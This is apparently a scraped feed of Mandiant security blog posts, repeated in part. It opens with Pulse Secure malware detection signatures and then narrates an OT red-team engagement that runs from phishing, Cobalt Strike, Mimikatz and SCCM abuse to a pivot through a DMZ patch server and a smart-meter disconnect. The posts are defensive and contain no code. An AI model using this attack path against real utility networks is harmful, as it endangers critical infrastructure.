FE_APT_Backdoor_Linux32_SLOWPULSE_2 
FE_APT_Trojan_Linux32_SLOWPULSE_1 
FE_APT_Tool_Linux32_SLOWPULSE_1

FE_APT_Webshell_PL_STEADYPULSE_1 
FEC_APT_Webshell_PL_STEADYPULSE_1 
APT.Webshell.PL.STEADYPULSE

FE_APT_Trojan_Linux32_LOCKPICK_1

FE_Webshell_PL_ATRIUM_1 
FEC_Webshell_PL_ATRIUM_1
FE_Trojan_SH_ATRIUM_1

FE_APT_Webshell_PL_SLIGHTPULSE_1
FEC_APT_Webshell_PL_SLIGHTPULSE_1
APT.Webshell.PL.SLIGHTPULSE

FE_APT_Webshell_PL_PULSECHECK_1
FEC_APT_Webshell_PL_PULSECHECK_1

FE_APT_Tool_Linux32_THINBLOOD_1 
FE_APT_Tool_Linux_THINBLOOD_1      
FE_APT_Tool_SH_THINBLOOD_1 
FEC_APT_Tool_SH_THINBLOOD_1
APT.Tool.Linux.THINBLOOD.MVX

FE_APT_Trojan_PL_QUIETPULSE_1
FEC_APT_Trojan_PL_QUIETPULSE_1 
FE_Trojan_SH_Generic_2 
FEC_Trojan_SH_Generic_3

Suspicious Pulse Secure HTTP request (IPS)

Endpoint Security 

Real-Time (IOC)

  • SLOWPULSE (BACKDOOR)
  • PACEMAKER (LAUNCHER)
  • THINBLOOD (UTILITY)

Helix

VPN ANALYTICS [Abnormal Logon]
EXPLOIT - SONICWALL ES [CVE-2021-20021 Attempt] 
EXPLOIT - SONICWALL ES [CVE-2021-20021 Success]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Attempt]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Success]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID 

Title 

A101-596 

Malicious File Transfer - SLOWPULSE, Download, Variant #1 

A101-597 

Malicious File Transfer - SLOWPULSE, Download, Variant #2 

A101-598 

Malicious File Transfer - SLOWPULSE, Download, Variant #3 

A101-599 

Malicious File Transfer - SLOWPULSE, Download, Variant #4 

A101-600 

Malicious File Transfer - SLOWPULSE, Download, Variant #5 

A101-601 

Malicious File Transfer - SLOWPULSE, Download, Variant #6 

A101-602 

Malicious File Transfer - SLOWPULSE, Download, Variant #7 

A101-604 

Malicious File Transfer - Pulse Secure Vulnerability, Utility, Download, Variant #1 

A101-605 

Malicious File Transfer - RADIALPULSE, Download, Variant #1 

A101-606 

Malicious File Transfer - PULSEJUMP, Download, Variant #1 

A101-607 

Malicious File Transfer - HARDPULSE, Download, Variant #1 

A101-608 

Malicious File Transfer - SLIGHTPULSE, Download, Variant #1 

A101-609 

Malicious File Transfer - LOCKPICK, Patcher, Download, Variant #1 

A101-610 

Malicious File Transfer - LOCKPICK, Download, Variant #1 

A101-611 

Malicious File Transfer - ATRIUM, Patcher, Download, Variant #1 

A101-612 

Malicious File Transfer - PACEMAKER, Launcher, Download, Variant #1 

A101-613 

Malicious File Transfer - PACEMAKER, Download, Variant #1 

A101-614 

Malicious File Transfer - QUIETPULSE Utility, Download, Variant #1 

A101-615 

Malicious File Transfer - QUIETPULSE, Download, Variant #1 

A101-616 

Malicious File Transfer - STEADYPULSE, Download, Variant #2 

A101-617 

Malicious File Transfer - STEADYPULSE, Download, Variant #1 

A101-618 

Malicious File Transfer - ATRIUM, Download, Variant #1 

A101-619 

Malicious File Transfer - THINBLOOD, Download, Variant #1 

A101-620 

Malicious File Transfer - THINBLOOD, Download, Variant #2 

A101-621 

Malicious File Transfer - PULSECHECK, Download, Variant #1 

A101-622 

Malicious File Transfer - PULSECHECK, Download, Variant #2 

A104-757 

Host CLI - QUIETPULSE Utility, Check, Variant #1 

A104-758 

Host CLI - QUIETPULSE Utility, Check, Variant #2 

A104-759 

Host CLI - QUIETPULSE Utility, Check, Variant #3 

A104-760 

Host CLI - QUIETPULSE Utility, Check, Variant #4 

Acknowledgements

Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure

13 April 2021 at 15:00

High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.

In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.

In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.   

To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Building the Foundation: Information Gathering for IT-OT Network Propagation

Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.

Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.


Figure 1: Targeted OT attack from a public network

Thinking Like an Adversary: How to Turn Off Smart Energy Meters

The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.

For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.

Establishing a Foothold in the IT Network

Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls:

  • Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet
  • Email attachment for a Microsoft Office document with auto - executable macro code

This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access:

  • ldapsearch to enumerate information in the enterprise domain
  • PowerSploit to exploit common security misconfigurations in IT
  • WMImplant to move laterally from one system to another in the internal network
  • Mimikatz to extract credentials for local user and domain administrator accounts

As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.

Defining Our Path to the OT Network

Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.


Figure 2: Information sources and target information from enterprise networks

For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.

Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.

Access to user workstations of target employees in these departments enabled us to:

  • Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script
  • Login to department file shares and extract OT system design documents
  • Extract network design documents and backup files for OT firewall configurations found in the firewall management console
  • Find plaintext credentials for OT management systems from operation manuals

Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.

Propagating to the OT Network

During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are:


Table 1: Most likely attack vectors for IT/OT propagation

For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths.


Figure 3: Formal communication path from enterprise to OT network

Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.

Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.


Figure 4: Remote attack propagation path from IT network to OT network

Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.

With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.

Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation

Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.                                                                                   

  • In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
  • An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
  • OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
  • Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.

Visit our website for more information or to request Mandiant services or threat intelligence.

M-Trends 2021: A View From the Front Lines

13 April 2021 at 13:45

We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage.

We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks?

In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month.

Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident.

There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect:

  • By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more.
  • Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat.
  • Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion.
  • Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19.
  • UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage.
  • Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits.

For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape.

Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now!

Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure

13 April 2021 at 15:00

High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.

In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.

In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.   

To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Building the Foundation: Information Gathering for IT-OT Network Propagation

Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.

Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.


Figure 1: Targeted OT attack from a public network

Thinking Like an Adversary: How to Turn Off Smart Energy Meters

The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.

For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.

Establishing a Foothold in the IT Network

Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls:

  • Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet
  • Email attachment for a Microsoft Office document with auto - executable macro code

This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access:

  • ldapsearch to enumerate information in the enterprise domain
  • PowerSploit to exploit common security misconfigurations in IT
  • WMImplant to move laterally from one system to another in the internal network
  • Mimikatz to extract credentials for local user and domain administrator accounts

As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.

Defining Our Path to the OT Network

Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.


Figure 2: Information sources and target information from enterprise networks

For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.

Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.

Access to user workstations of target employees in these departments enabled us to:

  • Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script
  • Login to department file shares and extract OT system design documents
  • Extract network design documents and backup files for OT firewall configurations found in the firewall management console
  • Find plaintext credentials for OT management systems from operation manuals

Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.

Propagating to the OT Network

During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are:


Table 1: Most likely attack vectors for IT/OT propagation

For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths.


Figure 3: Formal communication path from enterprise to OT network

Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.

Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.


Figure 4: Remote attack propagation path from IT network to OT network

Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.

With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.

Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation

Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.                                                                                   

  • In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
  • An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
  • OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
  • Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.

Visit our website for more information or to request Mandiant services or threat intelligence.

❌